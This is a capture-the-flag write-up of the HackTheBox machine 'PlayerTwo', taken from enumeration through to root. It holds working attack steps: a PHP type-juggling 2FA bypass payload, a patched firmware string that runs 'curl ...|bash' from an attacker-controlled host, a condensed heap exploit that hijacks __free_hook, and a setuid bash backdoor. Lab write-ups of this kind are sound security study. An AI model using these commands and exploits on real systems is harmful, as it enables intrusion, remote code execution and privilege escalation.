HTB: PlayerTwo Writeup

PlayerTwo - HackTheBox Writeup

Machine Information

AttributeDetails
NamePlayerTwo
OSLinux
DifficultyInsane
PointsN/A
Release Date23 June 2020
IP Address10.129.65.213
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐⭐⭐

Summary

PlayerTwo is an Insane-difficulty Linux box built around a fictional gaming-peripheral vendor, “Protobs,” and it stacks four genuinely distinct exploitation stages on top of one another: a Twirp/protobuf RPC service that has to be spoken to raw (its JSON gateway is broken), a PHP type-juggling flaw in a 2FA endpoint hidden behind a vhost, a firmware-signing bypass that turns an uploaded tarball into command execution, and a from-scratch heap exploit against a SUID binary shipping its own glibc. Nothing here is CVE-driven — every step is a logic or memory-corruption bug custom-built for the box — which is what makes it a benchmark Insane machine. Initial access required guessing the correct wire format for an RPC method whose auto-generated JSON handler threw a fatal PHP error, then brute-forcing which of several credential pairs the endpoint would eventually reveal. From there, a PHP loose-comparison bug ($action == "backup_codes") let an integer 0 satisfy a truthy check and leak a 2FA backup code. The firmware verification flow only signs roughly the first 8KB of the uploaded binary, leaving a system() call reachable via string patching. Post-foothold, MQTT $SYS topics leaked a private key for lateral movement to a real user, and root required reverse engineering a custom binary protocol parser to find a stale-buffer length bug, chain it into a GOT leak, and poison the tcache to hijack __free_hook.

TL;DR: Raw-protobuf GenCreds RPC → credential brute-force → PHP type-juggling 2FA bypass → firmware system() string patch → RCE as www-data → MQTT $SYS topic leaks observer’s SSH key → SUID Protobs heap exploit (GOT leak + tcache poison → __free_hook) → root.


Reconnaissance

Port Scanning

Terminal window
nmap -Pn -sCV -p22,80,8545 10.129.65.213

Results: Three open ports — SSH (22), Apache (80), and a PHP built-in dev server on 8545.

Service Enumeration

The Apache vhost on port 80 served a screenshot at /1.png rather than a normal page:

Terminal window
curl -s -m 10 http://10.129.65.213/1.png -o /tmp/1.png
file /tmp/1.png

The image referenced MrR3boot@player2.htb — the only place the box’s domain appeared, confirming vhost-based routing was in play. Adding the domain and probing for siblings turned up a second vhost:

Terminal window
# vhost fuzzing against the default site
ffuf -u http://10.129.65.213/ -H "Host: FUZZ.player2.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs <baseline_size>

This surfaced product.player2.htb alongside player2.htb. Both were added to /etc/hosts pointing at 10.129.65.213.

Directory brute-forcing player2.htb revealed a /proto/ folder:

Terminal window
gobuster dir -u http://player2.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,txt,zip,tar,gz,bak -t 60
Terminal window
curl -s -m 10 http://player2.htb/proto/generated.proto

The .proto file leaked the RPC definition for twirp.player2.auth.Auth/GenCreds — a Twirp service running on port 8545. Twirp is Google’s lightweight RPC framework: it accepts both a JSON and a binary-protobuf content type on the same route.

product.player2.htb presented a “Protobs Portal” login page. Directory enumeration under it found /api/ returning a 403 on GET (so it was skipped by naive scanners), and /protobs/.

Vulnerability Assessment

  • Twirp JSON gateway broken: posting Content-Type: application/json to GenCreds returned a fatal PHP error referencing an undefined bccomp() function — the JSON codepath was unusable, forcing the raw protobuf wire format instead.
  • /api/ hidden from unauthenticated GET scans (403), meaning its totp action had to be discovered by reading application flow rather than brute-forcing.
  • Firmware signature scheme only appeared to authenticate a bounded prefix of the uploaded binary, based on the accompanying protobs.pdf documentation and binary layout.

Initial Foothold

Exploitation Path

Step 1 — Speak raw protobuf to GenCreds.

Since the JSON handler was broken, the request had to be hand-encoded as a protobuf message. The .proto definition specified a single integer field (count), which as varint-encoded protobuf is just a tag byte + value byte:

Terminal window
# field 1, varint value 1 => tag 0x08, value 0x01
printf '\x08\x01' > /tmp/p1.bin
curl -s -m 15 -X POST -H "Content-Type: application/protobuf" \
--data-binary @/tmp/p1.bin \
http://10.129.65.213:8545/twirp/twirp.player2.auth.Auth/GenCreds

The endpoint responded with a protobuf-encoded Creds message. Repeated calls returned a randomized pairing drawn from a small pool of usernames and passwords rather than a stable pair — meaning any single call could hand back a username paired with the wrong password.

# repeatedly hit GenCreds and collect the distinct name/password tokens seen
import urllib.request
TARGET = "10.129.65.213"
names, passes = set(), set()
for _ in range(40):
req = urllib.request.Request(
f"http://{TARGET}:8545/twirp/twirp.player2.auth.Auth/GenCreds",
data=b"\x08\x01",
headers={"Content-Type": "application/protobuf"},
method="POST",
)
resp = urllib.request.urlopen(req).read()
# parse protobuf fields out of resp, add to names/passes

Sampling both pools yielded 4 candidate usernames and 4 candidate passwords. Since the pairing was random rather than a fixed mapping, all 16 combinations had to be tried against the login form:

Terminal window
curl -s -m 15 -i -c /tmp/pj -X POST \
-d "username=0xdf&password=XHq7_WJTA%3FQD_%3FE2&Submit=Sign+in" \
http://product.player2.htb/

Four of the sixteen combinations authenticated successfully; 0xdf:XHq7_WJTA?QD_?E2 was used to proceed.

Step 2 — Bypass 2FA via PHP loose comparison.

Login dropped into a 2FA prompt requesting either an OTP or a backup code. The /api/totp endpoint (found earlier but hidden from GET scans) accepted a POST body specifying an action. Sending the string "backup_codes" was the obvious guess, but the endpoint’s comparison logic used PHP’s == loose operator — likely something like:

if ($action == "backup_codes") {
// return backup code
}

In PHP, 0 == "backup_codes" evaluates true under loose comparison (a non-numeric string coerces to 0 for the comparison), so sending the integer 0 — not the string "0", which is falsy differently, and not 1, which is also rejected — satisfied the check:

Terminal window
# action must be the JSON integer 0, not the string "0" or 1
curl -s -m 15 -b /tmp/pj -X POST -H "Content-Type: application/json" \
-d '{"action":0}' \
http://product.player2.htb/api/totp

This returned the account’s 2FA backup code, which was submitted at the prompt to reach the authenticated home page.

Step 3 — Firmware signature bypass for RCE.

The authenticated portal linked a protobs.pdf document describing the firmware update flow and a /protobs/verify upload endpoint. It also linked the actual firmware package:

Terminal window
curl -s -o protobs_firmware_v1.0.tar http://product.player2.htb/protobs/protobs_firmware_v1.0.tar
tar xvf protobs_firmware_v1.0.tar

Protobs.bin consisted of a 64-byte signature header followed by an ELF binary. Inspection of the signing scheme (per the PDF and binary layout) showed that only roughly the first 8000 bytes of the ELF were actually covered by the signature — everything beyond that prefix could be modified without invalidating the signature. Disassembly located the string "stty raw -echo min 0 time 10" at offset 0x20a4, passed directly into system() as part of the firmware’s terminal-setup routine — a classic case of shelling out to a fixed-format command string that an attacker controls the contents of.

The string was overwritten in place (preserving overall binary length so the signed prefix stayed intact) with a command that pulled and executed a staged payload:

Terminal window
# same length constraint as the original string; executed via system()
curl 10.10.15.68:7771/s|bash
Terminal window
# repackage and re-upload
tar cvf firmware.tar Protobs.bin info.txt version
curl -s -F "firmware=@firmware.tar" http://product.player2.htb/protobs/verify

The server validated the (still-intact) signature prefix, executed the “verified” firmware, and the patched system() call fetched and ran the staged shell script — landing a shell as www-data.


Privilege Escalation

www-data → observer (MQTT credential leak)

With a foothold established, local enumeration found an MQTT broker (mosquitto) listening on 127.0.0.1:1883. MQTT’s $SYS topic hierarchy publishes broker/internal diagnostics, and subscribing to it wildcard-style dumped internal application traffic:

Terminal window
mosquitto_sub -h 127.0.0.1 -t '$SYS/#'

The topic $SYS/internal/firmware/signing periodically replayed an RSA private key belonging to the user observer — evidently reused by whatever internal process signs firmware. That key was used directly for SSH authentication:

Terminal window
ssh -i observer_key observer@10.129.65.213

This granted the observer shell and user.txt.

observer → root (SUID Protobs heap exploit)

observer had access to a SUID binary at /opt/Configuration_Utility/Protobs, which shipped and RPATH-loaded its own copy of glibc 2.29 rather than relying on the system libc — a strong signal that the box wanted a from-scratch heap exploit against a known libc build rather than a leak-and-guess approach.

Reverse engineering the binary’s create_config, read_config, and delete_config handlers (each configuration is a 56-byte heap struct with a pointer to a separately malloc’d description) surfaced two cooperating bugs:

  1. Stale-length copy bug. The description-copy loop is written as for (i = 0; i <= strlen(buf); i++), and the subsequent truncation buf[size] = 0 is skipped whenever the requested read size exceeds the number of bytes actually read (size > nread). Because buf is a reused stack buffer, its trailing bytes can still hold content planted by an earlier create_config call — so the effective copy length is driven by attacker-controlled stale stack data rather than the size the user just supplied. (One debug cycle was lost to a subtlety here: the buffer used for the config name is separately null-terminated at buf[19] = 0 right after its own fgets, so any trigger read relying on stale content beyond that point needs to be at least 20 bytes to survive that truncation.)
  2. Missing description-pointer nulling on free. delete_config frees the description chunk and the config struct itself, but never zeroes the now-dangling description pointer field before the struct is reused — a classic Use-After-Free primitive that lets a freed description pointer persist across a subsequent create_config(size=0, ...) call.

Combining these:

# protobs_heap_exploit.py — condensed exploit flow (see artifact for full script)
from pwn import *
p = process("/opt/Configuration_Utility/Protobs")
def create(size, description, **fields):
... # send menu choice 2, config fields, size, description
def read(index):
... # send menu choice 3, index; return output
def delete(index):
... # send menu choice 4, index
# 1) Prime a stale stack buffer with attacker bytes (>=20 bytes, to
# survive the name buffer's buf[19]=0 truncation) that will later
# be reused as an oversized description-copy length trigger.
# 2) Trigger the stale-length copy to overflow a neighbouring config's
# description pointer field, redirecting it at the No-PIE binary's
# free@GOT entry (0x602f78) and read it back via read_config() to
# leak the corresponding libc address and defeat ASLR for glibc 2.29.
# 3) Use the UAF (delete a config, recreate a 0-size-description config
# over the same slot) to poison a 0x40 tcache bin so the next
# description malloc() returns a pointer aimed at __free_hook.
# 4) "Write" the description for that malloc — this is the write into
# __free_hook — with the address of system().
# 5) Create a final config whose description is the shell command, then
# delete_config() it: the free() call now invokes system(cmd).

The final piece was a shell-specific gotcha: the system shell invoked here is dash, which — unlike bash — drops privileges and refuses to run with a mismatched real/effective UID, so a naive system("/bin/sh") did not hand back a root shell directly. Instead, the hijacked system() call was used to stage a setuid copy of bash:

Terminal window
# command executed via the hijacked free() -> system() call
cp /bin/bash /tmp/.rb; chmod 6755 /tmp/.rb
Terminal window
# run the setuid bash copy directly, no shell-drop issue
/tmp/.rb -p

bash -p (privileged mode) preserves the effective UID inherited from the setuid bit rather than dropping it, yielding a root shell and root.txt.

Verification:

Terminal window
id
# uid=0(root) gid=1000(observer) groups=1000(observer),0(root)
cat /root/root.txt

Post-exploitation, the setuid /tmp/.rb copy and any uploaded scripts were removed from the target.


Attack Chain Summary

Raw protobuf GenCreds call (JSON gateway broken)
│
▼
Credential-pool brute force → 0xdf:XHq7_WJTA?QD_?E2 login
│
▼
PHP loose-comparison 2FA bypass ({"action":0} → backup code)
│
▼
Firmware "stty" string patched to system("curl ...|bash")
│ (only ~first 8KB of Protobs.bin is signature-checked)
▼
Upload to /protobs/verify → RCE as www-data
│
▼
mosquitto_sub '$SYS/#' → observer's RSA private key
│
▼
SSH as observer → user.txt
│
▼
SUID /opt/Configuration_Utility/Protobs (own glibc 2.29)
stale-length copy → descptr overwrite → free@GOT leak
UAF + tcache poison → __free_hook = system()
delete_config(cmd) → cp /bin/bash /tmp/.rb; chmod 6755
│
▼
/tmp/.rb -p → root → root.txt

Tools Used

ToolPurpose
nmapPort scanning
curlRaw HTTP/protobuf requests, form logins, firmware upload
ffuf / gobusterVhost and directory enumeration
python3 (custom scripts)Protobuf varint encoding, GenCreds credential harvesting
Ghidra (implicit, via reversing)Disassembling Protobs.bin firmware and the SUID Protobs binary
mosquitto_subSubscribing to MQTT $SYS/# internal topics
pwntoolsHeap exploit scripting (protobs_heap_exploit.py) against the SUID binary
sshLateral movement as observer

Key Learnings

Techniques Practiced

  • Twirp/protobuf RPC interaction without a code-generated client — hand-crafting a varint-encoded request body when the JSON gateway is broken.
  • PHP loose-comparison (==) type-juggling to bypass an action-string check with an integer 0.
  • Firmware signature-scheme abuse: identifying that a signature only covers a bounded prefix of a binary and patching an unsigned system() string in place.
  • MQTT $SYS topic enumeration for credential/key leakage on an internal broker.
  • Full custom heap exploitation against a SUID binary with a private glibc: stale-buffer length confusion, UAF-driven tcache poisoning, __free_hook hijack, and working around a non-privilege-preserving default shell (dash) via a setuid bash copy.

Lessons Learned

  1. When an RPC service’s higher-level (JSON) transport is broken, always check whether the lower-level wire format (raw protobuf) is still reachable — frameworks like Twirp expose both on the same route.
  2. Endpoints that 403 on GET are not necessarily absent from an application; they may only accept POST, and application-flow reading (not just brute-forcing) is required to discover their expected input shape.
  3. PHP’s == operator is a recurring source of authentication bypasses; any comparison against a string constant should be tested with 0, null, true, and arrays, not just alternate strings.
  4. A “signed firmware” scheme is only as strong as what it actually signs — verifying the boundary of the signed region (not just that a signature check exists) can reveal a large unsigned, attacker-controlled tail.
  5. Reused stack buffers are a subtle but serious source of length-confusion bugs: a truncation that is conditionally skipped can leak stale data from an entirely unrelated earlier operation into a length or content field.
  6. When hijacking system() or a shell invocation on a target where /bin/sh is dash, remember it drops privileges on mismatched UIDs — stage a setuid bash copy instead of relying on the shell directly.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • 0xdf — HTB: PlayerTwo — consulted for the overall shape of the attack chain (Twirp credential harvesting, PHP type-juggling 2FA bypass, firmware signature bypass, MQTT credential leak, and SUID heap exploitation), used here only to confirm chain structure and terminology; all IPs, credentials, offsets, and command output in this writeup are from the live solve against 10.129.65.213.